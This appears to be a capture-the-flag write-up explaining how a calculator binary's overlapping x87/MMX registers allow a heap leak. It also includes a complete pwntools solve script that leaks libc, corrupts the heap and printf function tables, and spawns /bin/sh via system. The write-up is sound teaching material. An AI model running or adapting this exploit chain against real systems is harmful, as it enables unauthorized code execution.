/..

#CONTENT

#TOP

chal
17 KiB2024-02-29 21:34
chal.cpp
6 KiB2024-02-29 21:34
Dockerfile
153 bytes2024-02-29 21:34
flag.txt
42 bytes2024-02-29 21:34
Makefile
444 bytes2024-02-29 21:34
README.mdx
9 KiB2024-08-23 05:19

#Provided Files

#Intended

To save space in the cpu die, Intel processors overlap the legacy x87 and mmx register files so that they refer to the same underlying register file. This means that accesses to the mmx registers modify the st(n) registers and vice versa. The exact details of these nasty little intricacies are documented here.

mm0mm1mm2mm3mm4mm5mm6mm7
st0st1st2st3st4st5st6st7

#decompiled main

int32_t main(int32_t argc, char** argv, char** envp) __noreturn
    void* fsbase
    int64_t var_10 = *(fsbase + 0x28)
    setbuf(fp: stdout, buf: nullptr)
    setbuf(fp: stderr, buf: nullptr)
    std::streambuf::pubsetbuf(this: std::ios::rdbuf(this: &data_4088), __s: nullptr, __n: 0)
    std::streambuf::pubsetbuf(this: std::ios::rdbuf(this: &data_41d0), __s: nullptr, __n: 0)
    int80_t st7
    st7.q = 0
    puts(str: "Welcome to the frog math calcula…")
    puts(str: "Here we provide state of the art…")
    while (true) {
        puts(str: "0) exit")
        puts(str: "1) floating point")
        puts(str: "2) integer")
        printf(format: &data_2056)
        int32_t var_14
        std::istream::operator>>(this: &std::cin, __n: &var_14)
        int32_t rax_4 = var_14
        if (rax_4 == 2) {
            int64_t x87_r0
            int64_t x87_r1
            int64_t x87_r2
            int64_t x87_r3
            int64_t x87_r4
            int64_t x87_r5
            int64_t x87_r6
            int64_t* x87_r7
            do_mmx(x87_r0, x87_r1, x87_r2, x87_r3, x87_r4, x87_r5, x87_r6, x87_r7)
        } else {
            if (rax_4 == 0) {
                break
            }
            if (rax_4 == 1) {
                do_x87()
            }
        }
    }
    exit(status: 0)
    noreturn

Looking at main, it gives us a few options.

#decompiled do_mmx

int64_t do_mmx(int64_t arg1 @ st0, int64_t arg2 @ st1, int64_t arg3 @ st2, int64_t arg4 @ st3, int64_t arg5 @ st4, 
    int64_t arg6 @ st5, int64_t arg7 @ st6, int64_t* arg8 @ st7)
    void* fsbase
    int64_t rax = *(fsbase + 0x28)
    while (true) {
        puts(str: "integer processor")
        puts(str: "0) finish")
        puts(str: "1) set")
        puts(str: "2) get")
        puts(str: "3) add")
        puts(str: "4) sub")
        puts(str: "5) mul")
        puts(str: "6) div")
        puts(str: "7) load")
        puts(str: "8) save")
        puts(str: "9) clear")
        // -- snip --

Binja actually recognizes that accessing mmx registers also accesses to floating point st(n) registers and simply marks the arguments using the st(n) registers instead of the mmx registers. do_mmx allows us to perform various arithmetic operations on the mmx registers, but the interesting part is load and save:

                case 7
                    if (arg8 == 0) {
                        puts(str: "no state to load")
                        continue
                    } else {
                        arg1 = *arg8
                        arg2 = arg8[1]
                        arg3 = arg8[2]
                        arg4 = arg8[3]
                        arg5 = arg8[4]
                        arg6 = arg8[5]
                        arg7 = arg8[6]
                        free(mem: arg8)
                        arg8 = nullptr
                        continue
                    }
                case 8
                    if (arg8 == 0) {
                        arg8 = malloc(bytes: 0x38)
                    }
                    *arg8 = arg1
                    arg8[1] = arg2
                    arg8[2] = arg3
                    arg8[3] = arg4
                    arg8[4] = arg5
                    arg8[5] = arg6
                    arg8[6] = arg7
                    continue

The do_mmx function expects the state to be stored in mm7 (arg8), and the save function will write mm0-mm6 into mm7 if mm7 is not NULL. load will set mm0-mm6 using mm7 and free mm7 afterwards.

do_x87 allows us to view and modify the st(n) registers:

int64_t do_x87()
    void* fsbase
    int64_t rax = *(fsbase + 0x28)
    while (true) {
        puts(str: "fp processing")
        puts(str: "0) finish")
        puts(str: "1) push")
        puts(str: "2) pop")
        puts(str: "3) add")
        puts(str: "4) sub")
        puts(str: "5) mul")
        puts(str: "6) div")
        puts(str: "7) inspect")
int64_t do_x87()
    endbr64 
    push    rbp {__saved_rbp}
    mov     rbp, rsp {__saved_rbp}
    sub     rsp, 0x230
    mov     rax, qword [fs:0x28]
    mov     qword [rbp-0x8 {var_10}], rax
    xor     eax, eax  {0x0}
    emms    

The emms instruction resets the fp stack to point to st7 and marks all the stack positions as empty. Since the top of the fp stack points to mm7 so we can use that to leak whatever is stored in mm7.

#Solution

solve.py
PYTHON
   1 
   2 
   3 
   4 
   5 
   6 
   7 
   8 
   9 
  10 
  11 
  12 
  13 
  14 
  15 
  16 
  17 
  18 
  19 
  20 
  21 
  22 
  23 
  24 
  25 
  26 
  27 
  28 
  29 
  30 
  31 
  32 
  33 
  34 
  35 
  36 
  37 
  38 
  39 
  40 
  41 
  42 
  43 
  44 
  45 
  46 
  47 
  48 
  49 
  50 
  51 
  52 
  53 
  54 
  55 
  56 
  57 
  58 
  59 
  60 
  61 
  62 
  63 
  64 
  65 
  66 
  67 
  68 
  69 
  70 
  71 
  72 
  73 
  74 
  75 
  76 
  77 
  78 
  79 
  80 
  81 
  82 
  83 
  84 
  85 
  86 
  87 
  88 
  89 
  90 
  91 
  92 
  93 
  94 
  95 
  96 
  97 
  98 
  99 
 100 
 101 
 102 
 103 
 104 
 105 
 106 
 107 
 108 
 109 
 110 
 111 
 112 
 113 
 114 
 115 
 116 
 117 
 118 
 119 
 120 
 121 
 122 
 123 
 124 
 125 
 126 
 127 
 128 
 129 
 130 
 131 
 132 
 133 
 134 
 135 
 136 
 137 
 138 
 139 
 140 
 141 
 142 
 143 
 144 
 145 
 146 
 147 
 148 
 149 
 150 
 151 
 152 
from pwn import *
from subprocess import run

libc = ELF("./libc.so.6")

def convert(n):
    return run(["./convert", str(n)], capture_output=True).stdout

def setsave(n):
    global p
    p.sendlineafter(b"2) integer\n> ", b"1")
    p.sendlineafter(b"> ", b"1")
    conv = convert(n).strip()
    print(f"[+] sending {conv}")
    p.sendline(conv)
    p.sendlineafter(b"> ", b"2")
    p.sendlineafter(b"> ", b"0")
    p.recvuntil(b"2) integer\n")

if args.HOST and args.PORT:
    p = remote(args.HOST, args.PORT)
else:
    p = process("../chal/chal", cwd="../chal")
if args.GDB:
    context.terminal = ["kitty"]
    gdb.attach(p)

p.sendlineafter(b"> ", b"1")
for _ in range(7):
    p.sendlineafter(b"> ", b"1")
    p.sendline(b"0.0")
p.sendlineafter(b"> ", b"0")

p.sendlineafter(b"> ", b"2")
for i, n in enumerate([0, 0, 0, 0, 0, 0x41]):
    p.sendlineafter(b"> ", b"1")
    p.sendline(str(i).encode())
    p.sendline(str(n).encode())
p.sendlineafter(b"> ", b"8")
p.sendlineafter(b"> ", b"0")

p.sendlineafter(b"> ", b"1")
for _ in range(7):
    p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"> ", b"7")
# leak
p.recvuntil(b"-nan ")
leak = int(p.readline())
print(f"[+] leak: {leak:x}")
p.sendlineafter(b"> ", b"0")

heap = leak - 0x12f10
print(f"[+] heap: {heap:x}")

for i in range(15):
    setsave(0)
    p.sendlineafter(b"> ", b"2")
    p.sendlineafter(b"> ", b"8")
    p.sendlineafter(b"> ", b"0")

fake = [0, 0x91] + [0] * 16 + [0, 0x91] + [0] * 16 + [0, 0x91]
for i, n in enumerate(fake):
    if n == 0:
        continue
    setsave(heap + 0x12f10 + i * 8)
    p.sendlineafter(b"> ", b"2")
    p.sendlineafter(b"> ", b"1")
    p.sendline(b"0")
    p.sendline(str(n).encode())
    p.sendlineafter(b"> ", b"8")
    p.sendlineafter(b"> ", b"0")

setsave(heap + 0x10)
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"> ", b"1")
p.sendline(b"1")
p.sendline(str(0x0007000000000000).encode())
p.sendlineafter(b"> ", b"8")
p.sendlineafter(b"> ", b"0")

victim = heap + 0x12f10 + 20 * 8
print(f"[+] victim: {victim:x}")
setsave(victim)
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"> ", b"7")
p.sendlineafter(b"> ", b"0")

setsave(heap + 0x12f10 + 0x40 * 2)
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"> ", b"7")

p.sendlineafter(b"> ", b"2")
p.sendline(b"5")
leak = int(p.readline())
base = leak - 0x219ce0

print(f"[+] leak: {leak:x}")
print(f"[+] base: {base:x}")

p.sendlineafter(b"> ", b"0")

arginfo = 0x21a8b0
functions = 0x21b9c8

setsave(base + arginfo)
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"> ", b"1")
p.sendline(b"0")
p.sendline(str(heap + 0x12f10).encode())
p.sendlineafter(b"> ", b"8")
p.sendlineafter(b"> ", b"0")

setsave(heap + 0x12f10 + ord('f') * 8)
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"> ", b"1")
p.sendline(b"0")
p.sendline(str(base + libc.symbols["gets"]).encode())
p.sendlineafter(b"> ", b"8")
p.sendlineafter(b"> ", b"0")

setsave(heap + 0x12f10 + ord('u') * 8)
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"> ", b"1")
p.sendline(b"0")
p.sendline(str(base + 0x53b56).encode())
p.sendlineafter(b"> ", b"8")
p.sendlineafter(b"> ", b"0")

setsave(heap + 0x12f10)
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"> ", b"1")
p.sendline(b"0")
p.sendline(str(u64(b"/bin/sh\x00")).encode())
p.sendlineafter(b"> ", b"8")
p.sendlineafter(b"> ", b"0")

setsave(base + functions)
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"> ", b"1")
p.sendline(b"0")
p.sendline(b"1")
p.sendlineafter(b"> ", b"8")
p.sendlineafter(b"> ", b"0")

p.sendlineafter(b"> ", b"1")
ctx = [0 for _ in range(32)]
ctx[0xa8//8] = base + libc.symbols["system"]
ctx[0x68//8] = heap + 0x12f10
attack = b"7" + b"A" * 124 + flat(ctx, word_size=64)
p.sendlineafter(b"> ", attack)

p.interactive()

#Unintendeds

Thankfully no unintendeds here.